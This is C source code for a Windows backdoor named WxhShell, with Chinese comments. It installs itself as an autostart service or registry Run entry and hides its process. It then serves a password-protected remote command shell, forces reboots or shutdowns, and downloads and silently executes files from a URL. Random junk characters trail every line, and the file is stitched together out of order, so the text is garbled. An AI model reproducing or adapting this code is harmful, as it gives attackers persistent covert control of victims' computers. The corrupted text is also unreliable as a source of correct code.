  // 关机 3y[6n$U&  
  case 'd': { XYi-o][Mf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,G q?  
    if(Boot(SHUTDOWN)) e5g# a}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EpX.{B@B_[  
    else { ju jhK'\  
    closesocket(wsh); 4=G)j+RCH  
    ExitThread(0); 78=a^gRB  
    } H{}Nr 4  
    break; %j.B/U$  
    } #%~PNki  
  // 获取shell (R.l{(A  
  case 's': { o =oXL2}  
    CmdShell(wsh); S,ENbP%0r  
    closesocket(wsh); |XDbf3^6  
    ExitThread(0); E%[2NsOM]  
    break; >TB"Ez09  
  } G`/5=  
  // 退出 kB2]Z}   
  case 'x': { P}2i[m.*,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F9Hxqa#1T  
    CloseIt(wsh); St1Ny,$yU  
    break; >@g+%K]  
    } Y#VtZTcT  
  // 离开 yHXQCWY{8;  
  case 'q': { >/r^l)`9_f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I"=a:q  
    closesocket(wsh); % `4\ 8H`  
    WSACleanup(); %nRz~3X|+v  
    exit(1); c:J;Q){Xz  
    break; ii3{HJ*C  
        } \ah.@s  
  } $QNII+o  
  } {Rm N1'%  
W~!uSrY  
  // 提示信息 lYF~CNvE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m@Q%)sc)  
} c%jW'  
  } ezq<)gJc  
/8Sr(  
  return; q':P9 o*N?  
} =tKb7:KU  
(GeOD V?U  
// shell模块句柄 hxB` hu-  
int CmdShell(SOCKET sock) `kRv+Qwfa  
{ Z\\'0yuY(  
STARTUPINFO si; ^Fn~@'  
ZeroMemory(&si,sizeof(si)); B24,;2J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xJ);P.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7;8#iS/  
PROCESS_INFORMATION ProcessInfo; `|rr<Tsy\  
char cmdline[]="cmd"; [U^@Bkh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R5,ISD +s  
  return 0; ;Y^.SR"  
} ;VS\'#{e  
(lz Z=T  
// 自身启动模式 oMUyP~1  
int StartFromService(void) fz[-pJ5[  
{ _Nx#)(x  
typedef struct o^\L41x3  
{ yP~O C|Z  
  DWORD ExitStatus; ,. K}uW  
  DWORD PebBaseAddress; J"$Y`;  
  DWORD AffinityMask; x1O]@Z{d\  
  DWORD BasePriority; Edp%z"J;C  
  ULONG UniqueProcessId; >jBa  
  ULONG InheritedFromUniqueProcessId; M>yt\qbkA  
}   PROCESS_BASIC_INFORMATION; Qy!;RaA3T  
Ih;I&D+e;  
PROCNTQSIP NtQueryInformationProcess; zm&?G  
] 'B4O1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8HaBil  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YQ`m;<  
J;|i6q q  
  HANDLE             hProcess; s?,\aSsU@  
  PROCESS_BASIC_INFORMATION pbi; `J26Y"]P  
'",+2=JJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }#Q?\  
  if(NULL == hInst ) return 0; 6p}dl>T_y  
8rNRQOXOa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2," (  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p%]ZG,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jg2*$gL;_  
m~<<ok_  
  if (!NtQueryInformationProcess) return 0; Cu`uP[# ch  
(nUSgZz5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S#|dmg;p  
  if(!hProcess) return 0; )Bb:?!EuEH  
rQ:+LVfXjA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z{ AF8r  
"Xz[|Xl  
  CloseHandle(hProcess); b-"kclK  
Ltrw)H}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PX$_."WA  
if(hProcess==NULL) return 0; a^>e| Eq|  
H7}@56  
HMODULE hMod; .zQ'}H1.C  
char procName[255]; 'k1vV  
unsigned long cbNeeded; |{j\7G*5  
*$Tz g!/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lI&5.,2MP  
ro8c-[V  
  CloseHandle(hProcess); ;&~9k?v7L  
,mY3oyu  
if(strstr(procName,"services")) return 1; // 以服务启动 LV6BSQyQ  
\5q0nB@i5y  
  return 0; // 注册表启动 Lt?k$U{qe)  
} $psPNJG  
[a2Q ^ab  
// 主模块 ySP%i6!au  
int StartWxhshell(LPSTR lpCmdLine) w dpd`  
{ F=9-po  
  SOCKET wsl; rJ^*8C!  
BOOL val=TRUE; c_Fz?R+f?K  
  int port=0; 'X(Sn3  
  struct sockaddr_in door; )N}.n2Y8W  
enB 2-)< K  
  if(wscfg.ws_autoins) Install(); E8Y(C_:s  
bH1MDBb2  
port=atoi(lpCmdLine); v9K=\ j  
f$I$A(0P  
if(port<=0) port=wscfg.ws_port; y=k!>Y|E  
8oxYgj&~X  
  WSADATA data; ig}H7U2q@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _2 Hehw  
8HxtmFqG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pY"&=I79tb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &3~_9+  
  door.sin_family = AF_INET; ;]A:(HSZj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^3 6oqe{  
  door.sin_port = htons(port); hI}rW^o^  
Q!`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0WO-+eRB/  
closesocket(wsl); %&\DCAFk  
return 1; _Y 8RP%  
} {u@w^ hZ$  
^>/] Qi  
  if(listen(wsl,2) == INVALID_SOCKET) { u[b0MNE~  
closesocket(wsl); h5p,BRtu  
return 1; zLS=>iLD{  
} rpn&.#KS  
  Wxhshell(wsl); &$<7]a\dM  
  WSACleanup(); rd hM#?  
K=Y{iHn  
return 0; QKt+Orz  
=Dc9|WuHN  
} *If ]f0?%  
vWq/A.  
// 以NT服务方式启动 G W~ZmK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s& Lyg>>`  
{ w7"&\8a  
DWORD   status = 0; 88~ lP7J  
  DWORD   specificError = 0xfffffff; 3^2P7$W=   
wU(N<9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _]q%Hve  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =CGB}qU l0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; em, j>qp  
  serviceStatus.dwWin32ExitCode     = 0; n\'@]qG)Z4  
  serviceStatus.dwServiceSpecificExitCode = 0; whb,2=gIE  
  serviceStatus.dwCheckPoint       = 0; Ks FkC=  
  serviceStatus.dwWaitHint       = 0; .~jn N  
p5?8E$VHV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /}&@1  
  if (hServiceStatusHandle==0) return; oV,lEXz  
=!P  
status = GetLastError(); fF.qQTy;7  
  if (status!=NO_ERROR) oaMh5 FPy  
{ D4;6}gRC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l>{+X )  
    serviceStatus.dwCheckPoint       = 0; (rB?@:zN  
    serviceStatus.dwWaitHint       = 0; OJTEvb6nPg  
    serviceStatus.dwWin32ExitCode     = status; wfY]J0l  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,`.`}'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w829 8Kl  
    return; ^/_1y[j  
  } .In8!hjYy4  
y - Ge"mY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _;8+L\  
  serviceStatus.dwCheckPoint       = 0; o:nh3K/YJ  
  serviceStatus.dwWaitHint       = 0; NUb:5tL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +8eW/Bs@2  
} l.AG^b  
i48Tb7Rx~n  
// 处理NT服务事件,比如:启动、停止 K.I  \E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hJasnY7  
{ ` 8OA:4).  
switch(fdwControl) QCVwslj,K  
{ ppXt8G3% x  
case SERVICE_CONTROL_STOP: @ 9q/jv`  
  serviceStatus.dwWin32ExitCode = 0; A_xUP9g@?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9!UFLZR  
  serviceStatus.dwCheckPoint   = 0; h& Q9  
  serviceStatus.dwWaitHint     = 0; O({vHqN>  
  { MsLQ'9%Au  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wML5T+  
  } UCDvN  
  return; u[yUUYe  
case SERVICE_CONTROL_PAUSE: ?KF.v1w7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {H$m1=S  
  break; GFmVR2z_+  
case SERVICE_CONTROL_CONTINUE: w 7Y>B`wm?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 97~*Z|#<+  
  break; bWOn`#+&  
case SERVICE_CONTROL_INTERROGATE: =sa bJsgL  
  break; 3|g]2|~w@h  
}; mbCY\vEl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2%oo.?!R  
} '@ C\,E  
pGhA  
// 标准应用程序主函数 3t^r;b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L?~-<k  
{ j_Z"=  
^d[ s*,i?  
// 获取操作系统版本 p@x1B &Z  
OsIsNt=GetOsVer(); 6D n[9V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +(9qAB7  
2 bQC 2  
  // 从命令行安装 {S;/+X,  
  if(strpbrk(lpCmdLine,"iI")) Install(); IsjD-t  
\/ 8 V|E  
  // 下载执行文件 Gkq<?q({t  
if(wscfg.ws_downexe) { w+Cs=!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |e#ea~/b  
  WinExec(wscfg.ws_filenam,SW_HIDE); a}]zwV&  
} $Y Cy,Ew   
I_/kJ#7vj  
if(!OsIsNt) { 3[E)/~-  
// 如果时win9x,隐藏进程并且设置为注册表启动 //\UthOT  
HideProc(); a|\ZC\(xI  
StartWxhshell(lpCmdLine); 3kl\W[`?  
} \hcb~>=C  
else i'}Z>g5D  
  if(StartFromService()) (HZzA7eph  
  // 以服务方式启动 V3]"ROH  
  StartServiceCtrlDispatcher(DispatchTable); C)Ez>~Z  
else hc4W|Ofj  
  // 普通方式启动 ND|!U#wMNV  
  StartWxhshell(lpCmdLine); DTw3$:  
<O#/-r>2  
return 0; 1]l m0bfs  
} |( =`l  
]/y&5X  
3#@ETt0X(  
DMY?'Nts!  
=========================================== "jyh.@<  
38hAg uZX  
P{!r<N  
c>*RQ4vE  
@'yD(ZMAz  
Y=#g_(4*  
" s)~6 0c  
'[h|f  
#include <stdio.h> X)K3X:~L+  
#include <string.h> 5YG?m{hyn_  
#include <windows.h> f/:XIG  
#include <winsock2.h> =Qcz:ng  
#include <winsvc.h> z7H[\4A!>  
#include <urlmon.h> b6k'`vLA  
v!pT!(h4  
#pragma comment (lib, "Ws2_32.lib") h6dVT9  
#pragma comment (lib, "urlmon.lib") TCd1JF0  
N?'V,p 0=  
#define MAX_USER   100 // 最大客户端连接数 ~X/1%  
#define BUF_SOCK   200 // sock buffer Z ?{;|Z5  
#define KEY_BUFF   255 // 输入 buffer B0^0d*8t|@  
B0KZdBRx}  
#define REBOOT     0   // 重启 mt+IB4`  
#define SHUTDOWN   1   // 关机 0O,l rF0'  
'14 G0<;yL  
#define DEF_PORT   5000 // 监听端口 54Baz  
xM/B"SG2  
#define REG_LEN     16   // 注册表键长度 ]B<Hrnn  
#define SVC_LEN     80   // NT服务名长度 [V5ebj:6w  
Bk~lE]Q3c7  
// 从dll定义API (Hcd{]M~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &a>fZ^Y=k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T{iv4`'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <[H1S@{W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f3+@u2Pv  
f@R j;R~Jp  
// wxhshell配置信息 C#< :x!  
struct WSCFG { >HUU`= SC  
  int ws_port;         // 监听端口 \I@=EF- &  
  char ws_passstr[REG_LEN]; // 口令 5Z7<X2  
  int ws_autoins;       // 安装标记, 1=yes 0=no N%A[}Y0;MW  
  char ws_regname[REG_LEN]; // 注册表键名 v [_C^;  
  char ws_svcname[REG_LEN]; // 服务名 :/BU-SFK^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .]qj];m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Wh:SZa|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ['MG/FKuv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L>Y>b4oy3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O/9dPod  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iR9 $E  
4*4s{twG  
}; ;R E|9GR  
4dXuy>Km  
// default Wxhshell configuration 2z7+@!w/  
struct WSCFG wscfg={DEF_PORT, Wb] ha1$  
    "xuhuanlingzhe", DAG2pc8zA  
    1, ?=B$-)/  
    "Wxhshell",  #cqia0.H  
    "Wxhshell", gc 14%  
            "WxhShell Service", S=>54!{`x  
    "Wrsky Windows CmdShell Service", -,Q !:  
    "Please Input Your Password: ", W27EU/+3  
  1, /#z5bo  
  "http://www.wrsky.com/wxhshell.exe", ec: ?Q0  
  "Wxhshell.exe"  $&96qsr  
    }; 0sv#* &0=  
Tw< N  
// 消息定义模块 `/:ZB6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #7IM#t c@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G}d-L!YbE'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [lpzUB}<Yp  
char *msg_ws_ext="\n\rExit."; .$/Su3]K/  
char *msg_ws_end="\n\rQuit."; ~n$VCLa  
char *msg_ws_boot="\n\rReboot..."; fPf8hz>  
char *msg_ws_poff="\n\rShutdown..."; nk,X6o9%  
char *msg_ws_down="\n\rSave to "; 6.},y<E  
~a:0Q{>a  
char *msg_ws_err="\n\rErr!"; r^mP'#  
char *msg_ws_ok="\n\rOK!"; #Mt'y8|}$  
{(@M0?  
char ExeFile[MAX_PATH]; X !g"D6'  
int nUser = 0; 1D03Nbh|5  
HANDLE handles[MAX_USER]; I @TR|  
int OsIsNt; c rPEr  
JzJS?ZF  
SERVICE_STATUS       serviceStatus; a$p?r3y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5-M E Oy(  
b-8{bP]n  
// 函数声明 t<M^/xe2  
int Install(void); V,<3uQD9a  
int Uninstall(void); RU3:[ (7  
int DownloadFile(char *sURL, SOCKET wsh); WG8}}`F|  
int Boot(int flag); 5A,@$yp+  
void HideProc(void); W3s>+yU  
int GetOsVer(void); 7*8R:X+^r  
int Wxhshell(SOCKET wsl); 3~~KtH=  
void TalkWithClient(void *cs); DIH|6R  
int CmdShell(SOCKET sock); Y<0;;tVf4U  
int StartFromService(void); $<.\,wW*'w  
int StartWxhshell(LPSTR lpCmdLine); !rzbm&@  
79|=y7i#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dd#=_xe  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \jDD=ew  
Bb2;zOGdA  
// 数据结构和表定义 0Ym+10g  
SERVICE_TABLE_ENTRY DispatchTable[] = `0Y`]kSY+  
{ }{Ab:+aNd  
{wscfg.ws_svcname, NTServiceMain}, #Hl0>"k ,  
{NULL, NULL} =&RpW7]  
}; DT`TA#O  
5qzFH,  
// 自我安装 .}n%gc~A  
int Install(void) 1'or[Os3=  
{ {.=089`{  
  char svExeFile[MAX_PATH]; #~l(t_m{  
  HKEY key; ~Ts^z(v~D2  
  strcpy(svExeFile,ExeFile); 4}@J]_]Z  
E|OB9BOS  
// 如果是win9x系统,修改注册表设为自启动 6? I,sZW  
if(!OsIsNt) { yOwo(+ 2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T8( \:v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *Y"Kbn 6  
  RegCloseKey(key); o2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XKD0n^L[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QOA7#H-m9  
  RegCloseKey(key); 36mp+}R#  
  return 0; !"~x.LX \  
    } (jbHV.]P9  
  } d[mmwgSR?I  
} n1+1/  
else { ?.t naE  
F !DDlYUz.  
// 如果是NT以上系统,安装为系统服务 LT7C>b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (}ObX!,  
if (schSCManager!=0) %5#ts/f  
{ Y 3W_Z  
  SC_HANDLE schService = CreateService FCL7Tn  
  ( &)[?D<  
  schSCManager, hTZ&  
  wscfg.ws_svcname, {;uOc{~+  
  wscfg.ws_svcdisp, 5}S~8  
  SERVICE_ALL_ACCESS, "M#A `b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -]$q8 Q(hM  
  SERVICE_AUTO_START, 1t&LNIc|^  
  SERVICE_ERROR_NORMAL, a"7zz]XO2  
  svExeFile, ~6YTm6o  
  NULL, xQLVFgd  
  NULL, @r7ekyO8)  
  NULL, Vwxb6,}Z  
  NULL, En01LrC?  
  NULL {m%]`0  
  ); {k BHZ$/  
  if (schService!=0) T<:mG%Is  
  { 7A6Qrfw  
  CloseServiceHandle(schService); (QS4<J"  
  CloseServiceHandle(schSCManager); AA=zDB<N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wq K:=  
  strcat(svExeFile,wscfg.ws_svcname); L@9@3?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @JB9qT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \ZNUt$\  
  RegCloseKey(key); yW3!V-iA  
  return 0; zt&"K0X|  
    } yN-o?[o  
  } X5[.X()M4  
  CloseServiceHandle(schSCManager); 2F5*C  
} >6yA+?[:  
} i7rO 5<  
(*qMs)~]B  
return 1; >\f'QQ  
} *CtWDUxSdW  
7]\_7L|>]  
// 自我卸载 O_vCZW a3  
int Uninstall(void) KHnq%#  
{ tqo k.h  
  HKEY key; |E]`rfr  
73C7g< Mx  
if(!OsIsNt) { CuT~ Bj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~ 9Xs=S!  
  RegDeleteValue(key,wscfg.ws_regname); ENoGV;WG  
  RegCloseKey(key); tW$Di*h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d WKjVf  
  RegDeleteValue(key,wscfg.ws_regname); "~V|p3  
  RegCloseKey(key); ||p>O  
  return 0; ''p7!V?  
  } E ^ub8  
} hYvWD.c}  
} ]lQLA IQ  
else { g>gVO@"b2  
+K2p2Dw(k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }N^3P0XjYq  
if (schSCManager!=0) oGIh:n7 q+  
{ Nqy)jfyex  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _;z IH5 H  
  if (schService!=0) Z [[AmxE'l  
  { mFk6a{+YX  
  if(DeleteService(schService)!=0) { "UM*(&  
  CloseServiceHandle(schService); Z'Uc}M'U  
  CloseServiceHandle(schSCManager); Fu%D2%V$/  
  return 0; i!yu%>:M  
  } }Bk>'  
  CloseServiceHandle(schService); @#u'z ~a)  
  } {7F?30: ]  
  CloseServiceHandle(schSCManager); GkU]>8E'"  
} :o37 V!  
} itU P%  
y [jck:  
return 1; Aq]*$s2\G  
} v % c-El%  
vV$6fvS  
// 从指定url下载文件 aG*Mj;J  
int DownloadFile(char *sURL, SOCKET wsh) ;rvZ!/  
{ zWA~0l.2  
  HRESULT hr; l|jb}9(J  
char seps[]= "/"; .\rJ|HpZ1J  
char *token; ?xTdL738  
char *file; ,qUOPW?=  
char myURL[MAX_PATH]; -a+oQP]O  
char myFILE[MAX_PATH]; x<=<Lx0B;  
Lb=4\ _  
strcpy(myURL,sURL); @Jh;YDr`A  
  token=strtok(myURL,seps); paYvYK-K?  
  while(token!=NULL) WHkrd8  
  { wJ>.I<F6B  
    file=token; ^J-"8%  
  token=strtok(NULL,seps); ^U;r>[T9h  
  } f53WDI6  
35}]U=  
GetCurrentDirectory(MAX_PATH,myFILE); PrQs_ t Ni  
strcat(myFILE, "\\"); Yn>y1~  
strcat(myFILE, file); uP.[,V0@^  
  send(wsh,myFILE,strlen(myFILE),0); 9zKbzT]  
send(wsh,"...",3,0); 7dh--.i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6 _n~E e  
  if(hr==S_OK) A5q%yt I  
return 0; 3:B4;  
else 6Gj69Lr  
return 1; Gi S{=+=5  
m&I5~kD  
} O_^X:0}  
,\CG}-v@CN  
// 系统电源模块 U/j+\Kc~  
int Boot(int flag) dk@j!-q^  
{ .!2Ac  
  HANDLE hToken; ];U}'&  
  TOKEN_PRIVILEGES tkp; JQO%-=t  
69C>oX  
  if(OsIsNt) { 7a#zr_r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B,NHy C1i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !fT3mI6u\  
    tkp.PrivilegeCount = 1; TM*<hC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k 1sR^&{l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  1k39KO@  
if(flag==REBOOT) { ]/TqPOi:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,]cb3nP   
  return 0; |$QL>{81  
} r4wnfy  
else { 1 GB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \EC7*a0  
  return 0; ;sZHE &+  
} mEVne.D  
  } <uL0 M`u3  
  else { R)u ${  
if(flag==REBOOT) { >&DNxw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @;P\`[(*  
  return 0; 0o*  
} !vwx0  
else { d_!l RQ^N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,].S~6IM  
  return 0; RXWS,rF  
} \*x=q20  
} maINp"#  
P%^\<#Ya7  
return 1; (U@uJ  
} S /)J<?<b  
X!=*<GF)  
// win9x进程隐藏模块 o<f|jGY0  
void HideProc(void) "~=\AB=+Z  
{ DNp4U9  
TkjPa};R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |vf /M|  
  if ( hKernel != NULL ) o ImW  
  { fNZ:l=L3):  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vp#r :+=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eF%IX  
    FreeLibrary(hKernel); j[q$;uSD  
  } @ZFU< e$!  
NX5NE2@^qH  
return; B'` jdyaE9  
} iT}L9\  
;x~[om21;  
// 获取操作系统版本  U<Z\jT[  
int GetOsVer(void) HZ.Jc"+M  
{ |&xjuBC  
  OSVERSIONINFO winfo; H,5 ##@X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D-!#TN`Y  
  GetVersionEx(&winfo); BH$+{rZ8t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %\n&iRwDF  
  return 1; GP._C=]?c  
  else 9CW8l0  
  return 0; j9IeqlL  
} b/Q\ .!  
9X[}ik0  
// 客户端句柄模块 y+ ZCuX  
int Wxhshell(SOCKET wsl) q=|0lZ$`V_  
{ },'Ij; %%Q  
  SOCKET wsh; sxBRg=  
  struct sockaddr_in client; Hz] p]  
  DWORD myID; h1uD>heGl  
c$w}h[  
  while(nUser<MAX_USER) q7'[II;  
{ va_TC!{;  
  int nSize=sizeof(client); W2 ([vRT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `9yR,Xk=l  
  if(wsh==INVALID_SOCKET) return 1; \ mt> R[  
X/!37  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7h3JH  
if(handles[nUser]==0) FeM,$&G:  
  closesocket(wsh); -$J%.fdPs  
else Z" !+p{u  
  nUser++; 68v59)0U  
  } c6NCy s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J@I-tS  
9v2(cpZ  
  return 0; [Y^1}E*  
} <fLk\ =  
I$7TnMug  
// 关闭 socket !Ho=(6V  
void CloseIt(SOCKET wsh) D;l)&"|r?  
{ LN?b6s75U  
closesocket(wsh); ^M Zdht   
nUser--; al3[Ph5G  
ExitThread(0); nPj/C7j  
} LpJ_HU7@lk  
0- 'f1 1S  
// 客户端请求句柄 ,B<Tt|'  
void TalkWithClient(void *cs) }nW)+  
{ RL;>1Q,H  
/rqaUC)A  
  SOCKET wsh=(SOCKET)cs; -}?ud3f<  
  char pwd[SVC_LEN]; tt7l%olw  
  char cmd[KEY_BUFF]; 4gNF;  
char chr[1]; Cq0S8Or0  
int i,j; \I4*|6kA  
;_^ "}  
  while (nUser < MAX_USER) { (n~ e2tZ/  
K)`\u7Bu  
if(wscfg.ws_passstr) { L,F )l2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %Jr6pmc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); = +uUWJ&1G  
  //ZeroMemory(pwd,KEY_BUFF); ?+bDFM}  
      i=0; [-bT_X  
  while(i<SVC_LEN) { vG<JOxP  
>iCkvQ  
  // 设置超时 Qs*6wF  
  fd_set FdRead; M!s@w%0?'  
  struct timeval TimeOut; rl,6r u  
  FD_ZERO(&FdRead);  :_qgpE<  
  FD_SET(wsh,&FdRead); >Tm|}\qEb  
  TimeOut.tv_sec=8; zJfoU*G/B  
  TimeOut.tv_usec=0; t*? CD.S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 82X}@5o2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q.Kr;64G  
srN>pO8u~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S>]Jc$  
  pwd=chr[0]; cXJtNW@  
  if(chr[0]==0xd || chr[0]==0xa) { "DFj4XKXY9  
  pwd=0; &!3=eVg  
  break; 3d{v5. C#X  
  } Y.Er!(pz  
  i++; xwH+Q7O&l  
    } SRN:!-  
!S/hH%C  
  // 如果是非法用户,关闭 socket BHwQB2t gc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cs?@Ri=g  
} jG3}V3|.  
at/v.U |F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "=unDpq]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I54O9Aoy  
FRicHs n  
while(1) { fWR]L47n  
O/IW.t  
  ZeroMemory(cmd,KEY_BUFF); qO<'_7TN[  
xy% lp{  
      // 自动支持客户端 telnet标准   ua['rOnU  
  j=0; j${:Y$VmE  
  while(j<KEY_BUFF) { UC^Bn1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W"rX$D [Le  
  cmd[j]=chr[0]; 1GY[1M1^  
  if(chr[0]==0xa || chr[0]==0xd) {  {Y9m;b,X  
  cmd[j]=0; c 25wm\\  
  break; W?"Z>tgp  
  } yD`{9'L -  
  j++; cz/mUU  
    } v UAYYe  
4 []R?lL  
  // 下载文件 U4_ <  
  if(strstr(cmd,"http://")) { YZCPS6PuE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O,_2dj d  
  if(DownloadFile(cmd,wsh)) NA`3   
